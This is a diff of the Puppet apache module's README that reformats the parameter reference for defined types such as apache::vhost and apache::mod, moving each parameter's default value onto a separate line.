+Default: `undef`
+
##### `filename`
-Sets the name of the file under `confdir` in which Puppet stores the configuration. The default behavior is to generate the filename from the `priority` parameter and the resource name.
+Sets the name of the file under `confdir` in which Puppet stores the configuration.
+
+Default: Filename generated from the `priority` parameter and the resource name.
##### `priority`
-Sets the configuration file's priority by prefixing its filename with this parameter's numeric value, as Apache processes configuration files in alphanumeric order. Default: '25'.
+Sets the configuration file's priority by prefixing its filename with this parameter's numeric value, as Apache processes configuration files in alphanumeric order.
-To omit the priority prefix in the configuration file's name, set this parameter to false.
+To omit the priority prefix in the configuration file's name, set this parameter to `false`.
+
+Default: '25'.
##### `source`
-Points to the configuration file's source. The [`content`][] and `source` parameters are exclusive of each other.
+Points to the configuration file's source. The [`content`][] and `source` parameters are exclusive of each other. TODO: is this required or does it have a default value?
+
+Default: `undef`
##### `verify_command`
-Specifies the command Puppet uses to verify the configuration file. Use a fully qualified command. Default: `/usr/sbin/apachectl -t`.
+Specifies the command Puppet uses to verify the configuration file. Use a fully qualified command.
-This parameter is only used if the [`verify_config`][] parameter's value is 'true'. If the `verify_command` fails, the Puppet run deletes the configuration file, does not notify the Apache service, and raises an error.
+This parameter is used only if the [`verify_config`][] parameter's value is `true`. If the `verify_command` fails, the Puppet run deletes the configuration file and raises an error, but does not notify the Apache service.
+
+Default: '/usr/sbin/apachectl -t'.
##### `verify_config`
-Specifies whether to validate the configuration file before notifying the Apache service. Valid options: Boolean. Default: true.
+Specifies whether to validate the configuration file before notifying the Apache service.
+
+Boolean. Default: `true`.
#### Defined type: `apache::fastcgi::server`
Defines one or more external FastCGI servers to handle specific file types. Use this defined type with [`mod_fastcgi`][FastCGI].
-**Parameters within `apache::fastcgi::server`:**
+**Parameters**
##### `host`
Determines the FastCGI's hostname or IP address and TCP port number (1-65535).
+Default: '127.0.0.1:9000'.
+
##### `timeout`
Sets the number of seconds a [FastCGI][] application can be inactive before aborting the request and logging the event at the error LogLevel. The inactivity timer applies only as long as a connection is pending with the FastCGI application. If a request is queued to an application, but the application doesn't respond by writing and flushing within this period, the request is aborted. If communication is complete with the application but incomplete with the client (the response is buffered), the timeout does not apply.
+Default: 15.
+
##### `flush`
Forces [`mod_fastcgi`][FastCGI] to write to the client as data is received from the application. By default, `mod_fastcgi` buffers data in order to free the application as quickly as possible.
+Default: `false`.
+
##### `faux_path`
Apache has [FastCGI][] handle URIs that resolve to this filename. The path set in this parameter does not have to exist in the local filesystem.
+Default: "/var/www/${name}.fcgi".
+
##### `alias`
Internally links actions with the FastCGI server. This alias must be unique.
+Default: "/${name}.fcgi".
+
##### `file_type`
Sets the [MIME `content-type`][] of the file to be processed by the FastCGI server.
+Default: 'application/x-httpd-php'.
+
#### Defined type: `apache::listen`
-Adds [`Listen`][] directives to `ports.conf` in the Apache configuration directory that define the Apache server's or a virtual host's listening address and port. The [`apache::vhost`][] class uses this defined type, and titles take the form '', ':', or ':'.
+Adds [`Listen`][] directives to `ports.conf` in the Apache configuration directory that define the Apache server's or a virtual host's listening address and port. The [`apache::vhost`][] class uses this defined type, and titles take the form ``, `:`, or `:`.
#### Defined type: `apache::mod`
Installs packages for an Apache module that doesn't have a corresponding [`apache::mod::`][] class, and checks for or places the module's default configuration files in the Apache server's `module` and `enable` directories. The default locations depend on your operating system.
-**Parameters within `apache::mod`**:
+**Parameters**:
##### `package`
-**Required**. Names the package Puppet uses to install the Apache module.
+**Required**.
+
+Names the package Puppet uses to install the Apache module.
+
+Default: `undef`.
##### `package_ensure`
-Determines whether Puppet ensures the Apache module should be installed. Valid options: 'absent', 'present'. Default: 'present'.
+Determines whether Puppet ensures the Apache module should be installed.
+
+Values: 'absent', 'present'.
+
+Default: 'present'.
##### `lib`
-Defines the module's shared object name. Its default value is `mod_$name.so`, and it should not be configured manually without special reason.
+Defines the module's shared object name. Do not configure manually without special reason.
+
+Default: `mod_$name.so`.
##### `lib_path`
-Specifies a path to the module's libraries. Default: the `apache` class's [`lib_path`][] parameter.
+Specifies a path to the module's libraries. Do not manually set this parameter without special reason. The [`path`][] parameter overrides this value.
+
+Default: The `apache` class's [`lib_path`][] parameter.
-Don't manually set this parameter without special reason. The [`path`][] parameter overrides this value.
##### `loadfile_name`
-Sets the filename for the module's [`LoadFile`][] directive, which can also set the module load order as Apache processes them in alphanumeric order. Valid options: filenames formatted `\*.load`. Default: the resource's name followed by 'load', as in '$name.load'.
+Sets the filename for the module's [`LoadFile`][] directive, which can also set the module load order as Apache processes them in alphanumeric order.
+
+Values: Filenames formatted `\*.load`.
+
+Default: the resource's name followed by 'load', as in '$name.load'.
##### `loadfiles`
-Specifies an array of [`LoadFile`][] directives. Default: undef.
+Specifies an array of [`LoadFile`][] directives.
+
+Default: `undef`.
##### `path`
-Specifies a path to the module. Default: [`lib_path`][]/[`lib`][].
+Specifies a path to the module. Do not manually set this parameter without a special reason.
-> **Note:** Don't manually set this parameter without a specific reason.
+Default: [`lib_path`][]/[`lib`][].
#### Defined type: `apache::namevirtualhost`
-Enables [name-based virtual hosts][] and adds all related directives to the `ports.conf` file in the Apache HTTPD configuration directory. Titles can take the forms '\*', '\*:\', '\_default\_:\, '\', or '\:\'.
+Enables [name-based virtual hosts][] and adds all related directives to the `ports.conf` file in the Apache HTTPD configuration directory. Titles can take the forms '\*', '\*:\', '\_default\_:\, '\', or '\:\'.
#### Defined type: `apache::vhost`
-The Apache module allows a lot of flexibility in the setup and configuration of virtual hosts. This flexibility is due, in part, to `vhost` being a defined resource type, which allows Apache to evaluate it multiple times with different parameters.
+The apache module allows a lot of flexibility in the setup and configuration of virtual hosts. This flexibility is due, in part, to `vhost` being a defined resource type, which allows Apache to evaluate it multiple times with different parameters.
The `apache::vhost` defined type allows you to have specialized configurations for virtual hosts that have requirements outside the defaults. You can set up a default virtual host within the base `::apache` class, as well as set a customized virtual host as the default. Customized virtual hosts have a lower numeric [`priority`][] than the base class's, causing Apache to process the customized virtual host first.
@@ -2162,49 +2873,71 @@ The `apache::vhost` defined type uses `concat::fragment` to build the configurat
For the custom fragment's `order` parameter, the `apache::vhost` defined type uses multiples of 10, so any `order` that isn't a multiple of 10 should work.
-**Parameters within `apache::vhost`**:
+**Parameters**:
##### `access_log`
-Determines whether to configure `*_access.log` directives (`*_file`,`*_pipe`, or `*_syslog`). Valid options: Boolean. Default: true.
+Determines whether to configure `*_access.log` directives (`*_file`,`*_pipe`, or `*_syslog`).
+
+Boolean. Default: `true`.
##### `access_log_env_var`
-Specifies that only requests with particular environment variables be logged. Default: undef.
+Specifies that only requests with particular environment variables be logged.
+
+Default: `undef`.
##### `access_log_file`
-Sets the filename of the `*_access.log` placed in [`logroot`][]. Given a virtual host---for instance, example.com---it defaults to 'example.com\_ssl.log' for [SSL-encrypted][SSL encryption] virtual hosts and 'example.com\_access.log' for unencrypted virtual hosts.
+Sets the filename of the `*_access.log` placed in [`logroot`][]. Given a virtual host---for instance, example.com---it defaults to 'example.com_ssl.log' for [SSL-encrypted][SSL encryption] virtual hosts and 'example.com_access.log' for unencrypted virtual hosts.
+
+Default: `false`.
##### `access_log_format`
-Specifies the use of either a [`LogFormat`][] nickname or a custom-formatted string for the access log. Default: 'combined'.
+Specifies the use of either a [`LogFormat`][] nickname or a custom-formatted string for the access log.
+
+Default: 'combined'.
##### `access_log_pipe`
-Specifies a pipe where Apache sends access log messages. Default: undef.
+Specifies a pipe where Apache sends access log messages.
+
+Default: `undef`.
##### `access_log_syslog`
-Sends all access log messages to syslog. Default: undef.
+Sends all access log messages to syslog.
+
+Default: `undef`.
##### `add_default_charset`
Sets a default media charset value for the [`AddDefaultCharset`][] directive, which is added to `text/plain` and `text/html` responses.
+Default: `undef`.
+
##### `add_listen`
-Determines whether the virtual host creates a [`Listen`][] statement. Valid options: Boolean. Default: true.
+Determines whether the virtual host creates a [`Listen`][] statement.
-Setting `add_listen` to false prevents the virtual host from creating a `Listen` statement. This is important when combining virtual hosts that aren't passed an `ip` parameter with those that are.
+Setting `add_listen` to `false` prevents the virtual host from creating a `Listen` statement. This is important when combining virtual hosts that aren't passed an `ip` parameter with those that are.
+
+Boolean. Default: `true`.
##### `use_optional_includes`
-Specifies whether Apache uses the [`IncludeOptional`][] directive instead of [`Include`][] for `additional_includes` in Apache 2.4 or newer. Valid options: Boolean. Default: false.
+Specifies whether Apache uses the [`IncludeOptional`][] directive instead of [`Include`][] for `additional_includes` in Apache 2.4 or newer.
+
+Boolean. Default: `false`.
##### `additional_includes`
-Specifies paths to additional static, virtual host-specific Apache configuration files. You can use this parameter to implement a unique, custom configuration not supported by this module. Valid options: a string path or [array][] of them. Default: an empty array.
+Specifies paths to additional static, virtual host-specific Apache configuration files. You can use this parameter to implement a unique, custom configuration not supported by this module.
+
+Values: a string or [array][] of strings specifying paths.
+
+Default: an empty array.
##### `aliases`
@@ -2234,59 +2967,74 @@ aliases => [
For the `alias`, `aliasmatch`, `scriptalias` and `scriptaliasmatch` keys to work, each needs a corresponding context, such as `` or ``. Puppet creates the directives in the order specified in the `aliases` parameter. As described in the [`mod_alias`][] documentation, add more specific `alias`, `aliasmatch`, `scriptalias` or `scriptaliasmatch` parameters before the more general ones to avoid shadowing.
-> **Note**: Use the `aliases` parameter instead of the `scriptaliases` parameter because you can precisely control the various alias directives' order. Defining `ScriptAliases` using the `scriptaliases` parameter means *all* `ScriptAlias` directives will come after *all* `Alias` directives, which can lead to `Alias` directives shadowing `ScriptAlias` directives. This often causes problems, for example with Nagios.
+> **Note**: Use the `aliases` parameter instead of the `scriptaliases` parameter because you can precisely control the order of various alias directives. Defining `ScriptAliases` using the `scriptaliases` parameter means *all* `ScriptAlias` directives will come after *all* `Alias` directives, which can lead to `Alias` directives shadowing `ScriptAlias` directives. This often causes problems; for example, this could cause problems with Nagios.
-If [`apache::mod::passenger`][] is loaded and `PassengerHighPerformance` is 'true', the `Alias` directive might not be able to honor the `PassengerEnabled => off` statement. See [this article](http://www.conandalton.net/2010/06/passengerenabled-off-not-working.html) for details.
+If [`apache::mod::passenger`][] is loaded and `PassengerHighPerformance` is `true`, the `Alias` directive might not be able to honor the `PassengerEnabled => off` statement. See [this article](http://www.conandalton.net/2010/06/passengerenabled-off-not-working.html) for details.
##### `allow_encoded_slashes`
-Sets the [`AllowEncodedSlashes`][] declaration for the virtual host, overriding the server default. This modifies the virtual host responses to URLs with `\` and `/` characters. Valid options: 'nodecode', 'off', 'on'. Default: undef, which omits the declaration from the server configuration and selects the Apache default setting of `Off`.
+Sets the [`AllowEncodedSlashes`][] declaration for the virtual host, overriding the server default. This modifies the virtual host responses to URLs with `\` and `/` characters. Values: 'nodecode', 'off', 'on'. The default setting omits the declaration from the server configuration and selects the Apache default setting of 'Off'.
+
+Default: `undef`
##### `block`
-Specifies the list of things to which Apache blocks access. Valid option: 'scm', which blocks web access to `.svn`, `.git`, and `.bzr` directories. Default: an empty [array][].
+Specifies the list of things to which Apache blocks access. Valid option: 'scm', which blocks web access to `.svn`, `.git`, and `.bzr` directories.
+
+Default: an empty [array][].
##### `cas_attribute_prefix`
-Adds a header with the value of this header being the attribute values when SAML validation is enabled. Defaults to
-the value set by [`apache::mod::auth_cas`][]
+Adds a header with the value of this header being the attribute values when SAML validation is enabled.
+
+Defaults: The value set by [`apache::mod::auth_cas`][].
##### `cas_attribute_delimiter`
-The delimiter between attribute values in the header created by `cas_attribute_prefix`. Defaults to the value
-set by [`apache::mod::auth_cas`][]
+Sets the delimiter between attribute values in the header created by `cas_attribute_prefix`.
+
+Default: The value set by [`apache::mod::auth_cas`][].
##### `cas_login_url`
Sets the URL to which the module redirects users when they attempt to access a CAS-protected resource and
-don't have an active session. Defaults to the value set by [`apache::mod::auth_cas`][]
+don't have an active session.
+
+Default: The value set by [`apache::mod::auth_cas`][].
##### `cas_scrub_request_headers`
-Remove inbound request headers that may have special meaning within mod_auth_cas. Defaults to the value
-set by [`apache::mod::auth_cas`][]
+Remove inbound request headers that may have special meaning within mod_auth_cas.
+
+Default: The value set by [`apache::mod::auth_cas`][].
##### `cas_sso_enabled`
-Enables experimental support for single sign out (may mangle POST data). Defaults to the value
-set by [`apache::mod::auth_cas`][]
+Enables experimental support for single sign out (may mangle POST data).
+
+Default: The value set by [`apache::mod::auth_cas`][].
##### `cas_validate_saml`
-Parse response from CAS server for SAML. Defaults to the value set by [`apache::mod::auth_cas`][]
+Parse response from CAS server for SAML. Default: The value set by [`apache::mod::auth_cas`][].
##### `cas_validate_url`
-Sets the URL to use when validating a client-presented ticket in an HTTP query string. Defaults to the value set by
-[`apache::mod::auth_cas`][]
+Sets the URL to use when validating a client-presented ticket in an HTTP query string.
+
+Defaults to the value set by [`apache::mod::auth_cas`][].
##### `custom_fragment`
-Passes a string of custom configuration directives to place at the end of the virtual host configuration. Default: undef.
+Passes a string of custom configuration directives to place at the end of the virtual host configuration.
+
+Default: `undef`.
##### `default_vhost`
-Sets a given `apache::vhost` defined type as the default to serve requests that do not match any other `apache::vhost` defined types. Default: false.
+Sets a given `apache::vhost` defined type as the default to serve requests that do not match any other `apache::vhost` defined types.
+
+Default: `false`.
##### `directories`
@@ -2294,33 +3042,55 @@ See the [`directories`](#parameter-directories-for-apachevhost) section.
##### `directoryindex`
-Sets the list of resources to look for when a client requests an index of the directory by specifying a '/' at the end of the directory name. See the [`DirectoryIndex`][] directive documentation for details. Default: undef.
+Sets the list of resources to look for when a client requests an index of the directory by specifying a '/' at the end of the directory name. See the [`DirectoryIndex`][] directive documentation for details.
+
+Default: `undef`.
##### `docroot`
-**Required**. Sets the [`DocumentRoot`][] location, from which Apache serves files.
+**Required**.
-If `docroot` and [`manage_docroot`][] are both set to false, no [`DocumentRoot`][] will be set and the accompanying `` block will not be created.
+Sets the [`DocumentRoot`][] location, from which Apache serves files.
+
+If `docroot` and [`manage_docroot`][] are both set to `false`, no [`DocumentRoot`][] will be set and the accompanying `` block will not be created.
+
+Values: A string specifying a directory path.
##### `docroot_group`
-Sets group access to the [`docroot`][] directory. Valid options: A string representing a system group. Default: 'root'.
+Sets group access to the [`docroot`][] directory.
+
+Values: A string specifying a system group.
+
+Default: 'root'.
##### `docroot_owner`
-Sets individual user access to the [`docroot`][] directory. Valid options: A string representing a user account. Default: 'root'.
+Sets individual user access to the [`docroot`][] directory.
+
+Values: A string specifying a user account.
+
+Default: 'root'.
##### `docroot_mode`
-Sets access permissions for the [`docroot`][] directory, in numeric notation. Valid options: A string. Default: undef.
+Sets access permissions for the [`docroot`][] directory, in numeric notation.
+
+Values: A string.
+
+Default: `undef`.
##### `manage_docroot`
-Determines whether Puppet manages the [`docroot`][] directory. Valid options: Boolean. Default: true.
+Determines whether Puppet manages the [`docroot`][] directory.
+
+Boolean. Default: `true`.
##### `error_log`
-Specifies whether `*_error.log` directives should be configured. Valid options: Boolean. Default: true.
+Specifies whether `*_error.log` directives should be configured.
+
+Boolean. Default: `true`.
##### `error_log_file`
@@ -2328,23 +3098,29 @@ Points the virtual host's error logs to a `*_error.log` file. If this parameter
If none of these parameters is set, given a virtual host `example.com`, Puppet defaults to '$logroot/example.com_error_ssl.log' for SSL virtual hosts and '$logroot/example.com_error.log' for non-SSL virtual hosts.
+Default: `undef`.
+
##### `error_log_pipe`
-Specifies a pipe to send error log messages to. Default: undef.
+Specifies a pipe to send error log messages to.
This parameter has no effect if the [`error_log_file`][] parameter has a value. If neither this parameter nor `error_log_file` has a value, Puppet then checks [`error_log_syslog`][].
+Default: `undef`.
+
##### `error_log_syslog`
-Determines whether to send all error log messages to syslog. Valid options: Boolean. Default: undef.
+Determines whether to send all error log messages to syslog.
This parameter has no effect if either of the [`error_log_file`][] or [`error_log_pipe`][] parameters has a value. If none of these parameters has a value, given a virtual host `example.com`, Puppet defaults to '$logroot/example.com_error_ssl.log' for SSL virtual hosts and '$logroot/example.com_error.log' for non-SSL virtual hosts.
+Boolean. Default: `undef`.
+
##### `error_documents`
-A list of hashes which can be used to override the [ErrorDocument](https://httpd.apache.org/docs/current/mod/core.html#errordocument) settings for this virtual host. Default: '[]'.
+A list of hashes which can be used to override the [ErrorDocument](https://httpd.apache.org/docs/current/mod/core.html#errordocument) settings for this virtual host.
-An example:
+For example:
``` puppet
apache::vhost { 'sample.example.net':
@@ -2355,18 +3131,36 @@ apache::vhost { 'sample.example.net':
}
```
+Default: '[]'.
+
##### `ensure`
-Specifies if the virtual host is present or absent. Valid options: 'absent', 'present'. Default: 'present'.
+Specifies if the virtual host is present or absent.
+
+Values: 'absent', 'present'.
+
+Default: 'present'.
##### `fallbackresource`
-Sets the [FallbackResource](https://httpd.apache.org/docs/current/mod/mod_dir.html#fallbackresource) directive, which specifies an action to take for any URL that doesn't map to anything in your filesystem and would otherwise return 'HTTP 404 (Not Found)'. Valid options must either begin with a '/' or be 'disabled'. Default: undef.
+Sets the [FallbackResource](https://httpd.apache.org/docs/current/mod/mod_dir.html#fallbackresource) directive, which specifies an action to take for any URL that doesn't map to anything in your filesystem and would otherwise return 'HTTP 404 (Not Found)'. Values must either begin with a '/' or be 'disabled'.
+
+Default: `undef`.
#####`fastcgi_idle_timeout`
If using fastcgi, this option sets the timeout for the server to respond.
+Default: `undef`.
+
+##### `file_e_tag`
+
+Sets the server default for the [`FileETag`][] declaration, which modifies the response header field for static files.
+
+Values: 'INode', 'MTime', 'Size', 'All', 'None'.
+
+Default: `undef`, which uses Apache's default setting of 'MTime Size'.
+
##### `filters`
[Filters](https://httpd.apache.org/docs/current/mod/mod_filter.html) enable smart, context-sensitive configuration of output content filters.
@@ -2386,21 +3180,49 @@ apache::vhost { "$::fqdn":
Sets the [`ForceType`][] directive, which forces Apache to serve all matching files with a [MIME `content-type`][] matching this parameter's value.
+#### `add_charset`
+
+Lets Apache set custom content character sets per directory and/or file extension
+
##### `headers`
-Adds lines to replace, merge, or remove response headers. See [Apache's mod_headers documentation](https://httpd.apache.org/docs/current/mod/mod_headers.html#header) for more information. Valid options: A string, an array of strings, or undef. Default: undef.
+Adds lines to replace, merge, or remove response headers. See [Apache's mod_headers documentation](https://httpd.apache.org/docs/current/mod/mod_headers.html#header) for more information.
+
+Values: A string or an array of strings.
+
+Default: `undef`.
##### `ip`
-Sets the IP address the virtual host listens on. Valid options: Strings. Default: undef, which uses Apache's default behavior of listening on all IPs.
+Sets the IP address the virtual host listens on. By default, uses Apache's default behavior of listening on all IPs.
+
+Values: A string or an array of strings.
+
+Default: `undef`.
##### `ip_based`
-Enables an [IP-based](https://httpd.apache.org/docs/current/vhosts/ip-based.html) virtual host. This parameter inhibits the creation of a NameVirtualHost directive, since those are used to funnel requests to name-based virtual hosts. Default: false.
+Enables an [IP-based](https://httpd.apache.org/docs/current/vhosts/ip-based.html) virtual host. This parameter inhibits the creation of a NameVirtualHost directive, since those are used to funnel requests to name-based virtual hosts.
+
+Default: `false`.
##### `itk`
-Configures [ITK](http://mpm-itk.sesse.net/) in a hash. Keys can be:
+Configures [ITK](http://mpm-itk.sesse.net/) in a hash.
+
+Usage typically looks something like:
+
+``` puppet
+apache::vhost { 'sample.example.net':
+ docroot => '/path/to/directory',
+ itk => {
+ user => 'someuser',
+ group => 'somegroup',
+ },
+}
+```
+
+Values: a hash, which can include the keys:
* user + group
* `assignuseridexpr`
@@ -2422,9 +3244,11 @@ apache::vhost { 'sample.example.net':
}
```
+Default: `undef`.
+
##### `jk_mounts`
-Sets up a virtual host with 'JkMount' and 'JkUnMount' directives to handle the paths for URL mapping between Tomcat and Apache. Default: undef.
+Sets up a virtual host with 'JkMount' and 'JkUnMount' directives to handle the paths for URL mapping between Tomcat and Apache.
The parameter must be an array of hashes where each hash must contain the 'worker' and either the 'mount' or 'unmount' keys.
@@ -2438,34 +3262,43 @@ apache::vhost { 'sample.example.net':
],
}
```
-
+Default: `undef`.
+
##### `keepalive`
-Determines whether to enable persistent HTTP connections with the [`KeepAlive`][] directive for the virtual host. Valid options: 'Off', 'On' and `undef`. Default: `undef`, meaning the global, server-wide [`KeepAlive`][] setting is in effect.
+Determines whether to enable persistent HTTP connections with the [`KeepAlive`][] directive for the virtual host. By default, the global, server-wide [`KeepAlive`][] setting is in effect.
Use the `keepalive_timeout` and `max_keepalive_requests` parameters to set relevant options for the virtual host.
+Values: 'Off', 'On'.
+
+Default: `undef`
+
##### `keepalive_timeout`
-Sets the [`KeepAliveTimeout`] directive for the virtual host, which determines the amount of time to wait for subsequent requests on a persistent HTTP connection. Default: `undef`, meaning the global, server-wide [`KeepAlive`][] setting is in effect.
+Sets the [`KeepAliveTimeout`] directive for the virtual host, which determines the amount of time to wait for subsequent requests on a persistent HTTP connection. By default, the global, server-wide [`KeepAlive`][] setting is in effect.
This parameter is only relevant if either the global, server-wide [`keepalive` parameter][] or the per-vhost `keepalive` parameter is enabled.
+Default: `undef`
+
##### `max_keepalive_requests`
-Limits the number of requests allowed per connection to the virtual host. Default: `undef`, meaning the global, server-wide [`KeepAlive`][] setting is in effect.
+Limits the number of requests allowed per connection to the virtual host. By default, the global, server-wide [`KeepAlive`][] setting is in effect.
This parameter is only relevant if either the global, server-wide [`keepalive` parameter][] or the per-vhost `keepalive` parameter is enabled.
+Default: `undef`.
+
##### `auth_kerb`
-Enable [`mod_auth_kerb`][] parameters for a virtual host. Valid options: Boolean. Default: false.
+Enable [`mod_auth_kerb`][] parameters for a virtual host.
Usage typically looks like:
``` puppet
apache::vhost { 'sample.example.net':
- auth_kerb => true,
+ auth_kerb => `true`,
krb_method_negotiate => 'on',
krb_auth_realms => ['EXAMPLE.ORG'],
krb_local_user_mapping => 'on',
@@ -2484,56 +3317,88 @@ Related parameters follow the names of `mod_auth_kerb` directives:
- `krb_method_k5passwd`: Determines whether to use password-based authentication for Kerberos v5. Default: 'on'.
- `krb_authoritative`: If set to 'off', authentication controls can be passed on to another module. Default: 'on'.
- `krb_auth_realms`: Specifies an array of Kerberos realms to use for authentication. Default: '[]'.
-- `krb_5keytab`: Specifies the Kerberos v5 keytab file's location. Default: undef.
-- `krb_local_user_mapping`: Strips @REALM from usernames for further use. Default: undef.
+- `krb_5keytab`: Specifies the Kerberos v5 keytab file's location. Default: `undef`.
+- `krb_local_user_mapping`: Strips @REALM from usernames for further use. Default: `undef`.
+
+Boolean. Default: `false`.
##### `krb_verify_kdc`
-This option can be used to disable the verification tickets against local keytab to prevent KDC spoofing attacks. Default: 'on'.
+This option can be used to disable the verification tickets against local keytab to prevent KDC spoofing attacks.
+
+Default: 'on'.
##### `krb_servicename`
-Specifies the service name that will be used by Apache for authentication. Corresponding key of this name must be stored in the keytab. Default: 'HTTP'.
+Specifies the service name that will be used by Apache for authentication. Corresponding key of this name must be stored in the keytab.
+
+Default: 'HTTP'.
##### `krb_save_credentials`
-This option enables credential saving functionality. Default is 'off'
+This option enables credential saving functionality.
+
+Default is 'off'
##### `logroot`
-Specifies the location of the virtual host's logfiles. Default: '/var/log//'.
+Specifies the location of the virtual host's logfiles.
+
+Default: '/var/log//'.
##### `$logroot_ensure`
-Determines whether or not to remove the logroot directory for a virtual host. Valid options: 'directory', 'absent'.
+Determines whether or not to remove the logroot directory for a virtual host.
+
+Values: 'directory', 'absent'.
+
+Default: 'directory'.
##### `logroot_mode`
-Overrides the mode the logroot directory is set to. Default: undef. Do *not* grant write access to the directory the logs are stored in without being aware of the consequences; for more information, see [Apache's log security documentation](https://httpd.apache.org/docs/2.4/logs.html#security).
+Overrides the mode the logroot directory is set to. Do *not* grant write access to the directory the logs are stored in without being aware of the consequences; for more information, see [Apache's log security documentation](https://httpd.apache.org/docs/2.4/logs.html#security).
+
+Default: `undef`.
##### `logroot_owner`
-Sets individual user access to the logroot directory. Defaults to 'undef'.
+Sets individual user access to the logroot directory.
+
+Defaults to `undef`.
##### `logroot_group`
-Sets group access to the [`logroot`][] directory. Defaults to 'undef'.
+Sets group access to the [`logroot`][] directory.
+
+Defaults to `undef`.
##### `log_level`
-Specifies the verbosity of the error log. Valid options: 'emerg', 'alert', 'crit', 'error', 'warn', 'notice', 'info' or 'debug'. Default: 'warn' for the global server configuration, which can be overridden on a per-virtual host basis.
+Specifies the verbosity of the error log.
+
+Values: 'emerg', 'alert', 'crit', 'error', 'warn', 'notice', 'info' or 'debug'.
+
+Default: 'warn' for the global server configuration. Can be overridden on a per-virtual host basis.
###### `modsec_body_limit`
-Configures the maximum request body size (in bytes) ModSecurity will accept for buffering
+Configures the maximum request body size (in bytes) ModSecurity accepts for buffering.
+
+Values: An integer.
+
+Default: `undef`.
###### `modsec_disable_vhost`
-Disables [`mod_security`][] on a virtual host. Only valid if [`apache::mod::security`][] is included. Valid options: Boolean. Default: undef.
+Disables [`mod_security`][] on a virtual host. Only valid if [`apache::mod::security`][] is included.
+
+Boolean. Default: `undef`.
###### `modsec_disable_ids`
-Array of mod_security IDs to remove from the virtual host. Also takes a hash allowing removal of an ID from a specific location.
+Removes `mod_security` IDs from the virtual host.
+
+Values: An array of `mod_security` IDs to remove from the virtual host. Also takes a hash allowing removal of an ID from a specific location.
``` puppet
apache::vhost { 'sample.example.net':
@@ -2547,13 +3412,17 @@ apache::vhost { 'sample.example.net':
}
```
+Default: `undef`.
+
###### `modsec_disable_ips`
-Specifies an array of IP addresses to exclude from [`mod_security`][] rule matching. Default: undef.
+Specifies an array of IP addresses to exclude from [`mod_security`][] rule matching.
+
+Default: `undef`.
###### `modsec_disable_msgs`
-Array of mod_security Msgs to remove from the virtual host. Also takes a hash allowing removal of an Msg from a specific location. Default: undef.
+Array of mod_security Msgs to remove from the virtual host. Also takes a hash allowing removal of an Msg from a specific location.
``` puppet
apache::vhost { 'sample.example.net':
@@ -2567,9 +3436,11 @@ apache::vhost { 'sample.example.net':
}
```
+Default: `undef`.
+
###### `modsec_disable_tags`
-Array of mod_security Tags to remove from the virtual host. Also takes a hash allowing removal of an Tag from a specific location. Default: undef.
+Array of mod_security Tags to remove from the virtual host. Also takes a hash allowing removal of an Tag from a specific location.
``` puppet
apache::vhost { 'sample.example.net':
@@ -2583,45 +3454,67 @@ apache::vhost { 'sample.example.net':
}
```
-##### `modsec_audit_log` & `modsec_audit_log_file` & `modsec_audit_log_pipe`
+Default: `undef`.
-Determines how to send mod_security audit log ([SecAuditLog](https://github.com/SpiderLabs/ModSecurity/wiki/Reference-Manual#SecAuditLog)).
+##### `modsec_audit*`
-If `modsec_audit_log_file` is set, it is relative to [`logroot`][]. Default: undef.
+* `modsec_audit_log`
+* `modsec_audit_log_file`
+* `modsec_audit_log_pipe`
-If `modsec_audit_log_pipe` is set, it should start with a pipe. Example '|/path/to/mlogc /path/to/mlogc.conf'. Default: undef.
+These three parameters together determine how to send `mod_security` audit log ([SecAuditLog](https://github.com/SpiderLabs/ModSecurity/wiki/Reference-Manual#SecAuditLog)).
-If `modsec_audit_log` is true, given a virtual host---for instance, example.com---it defaults to 'example.com\_security\_ssl.log' for [SSL-encrypted][SSL encryption] virtual hosts and 'example.com\_security.log' for unencrypted virtual hosts. Default: false.
+* If `modsec_audit_log_file` is set, it is relative to [`logroot`][].
-When none of those parameters is set, the global audit log is used (i.e. ''/var/log/apache2/modsec\_audit.log'' on Debian and derivatives, ''/var/log/httpd/modsec\_audit.log'' on others).
+ Default: `undef`.
+
+* If `modsec_audit_log_pipe` is set, it should start with a pipe. Example '|/path/to/mlogc /path/to/mlogc.conf'.
+
+ Default: `undef`.
+
+* If `modsec_audit_log` is `true`, given a virtual host---for instance, example.com---it defaults to 'example.com\_security\_ssl.log' for [SSL-encrypted][SSL encryption] virtual hosts and 'example.com\_security.log' for unencrypted virtual hosts.
+
+ Default: `false`.
+
+If none of those parameters are set, the global audit log is used (''/var/log/httpd/modsec\_audit.log''; Debian and derivatives: ''/var/log/apache2/modsec\_audit.log''; others: ).
##### `no_proxy_uris`
Specifies URLs you do not want to proxy. This parameter is meant to be used in combination with [`proxy_dest`](#proxy_dest).
+Default: [].
+
##### `no_proxy_uris_match`
This directive is equivalent to [`no_proxy_uris`][], but takes regular expressions.
+Default: [].
+
##### `proxy_preserve_host`
-Sets the [ProxyPreserveHost Directive](https://httpd.apache.org/docs/current/mod/mod_proxy.html#proxypreservehost). Valid options: Boolean. Default: false.
+Sets the [ProxyPreserveHost Directive](https://httpd.apache.org/docs/current/mod/mod_proxy.html#proxypreservehost).
-Setting this parameter to true enables the `Host:` line from an incoming request to be proxied to the host instead of hostname. Setting it to false sets this directive to 'Off'.
+Setting this parameter to `true` enables the `Host:` line from an incoming request to be proxied to the host instead of hostname. Setting it to `false` sets this directive to 'Off'.
+
+Boolean. Default: `false`.
##### `proxy_add_headers`
-Sets the [ProxyAddHeaders Directive](https://httpd.apache.org/docs/current/mod/mod_proxy.html#proxyaddheaders). Valid Options: Boolean. Default: false.
+Sets the [ProxyAddHeaders Directive](https://httpd.apache.org/docs/current/mod/mod_proxy.html#proxyaddheaders).
This parameter controlls whether proxy-related HTTP headers (X-Forwarded-For, X-Forwarded-Host and X-Forwarded-Server) get sent to the backend server.
+Boolean. Default: `false`.
+
##### `proxy_error_override`
-Sets the [ProxyErrorOverride Directive](https://httpd.apache.org/docs/current/mod/mod_proxy.html#proxyerroroverride). This directive controls whether Apache should override error pages for proxied content. Default: false.
+Sets the [ProxyErrorOverride Directive](https://httpd.apache.org/docs/current/mod/mod_proxy.html#proxyerroroverride). This directive controls whether Apache should override error pages for proxied content.
+
+Boolean. Default: `false`.
##### `options`
-Sets the [`Options`][] for the specified virtual host. Default: ['Indexes','FollowSymLinks','MultiViews'], as demonstrated below:
+Sets the [`Options`][] for the specified virtual host. For example:
``` puppet
apache::vhost { 'site.name.fdqn':
@@ -2632,38 +3525,65 @@ apache::vhost { 'site.name.fdqn':
> **Note**: If you use the [`directories`][] parameter of [`apache::vhost`][], 'Options', 'Override', and 'DirectoryIndex' are ignored because they are parameters within `directories`.
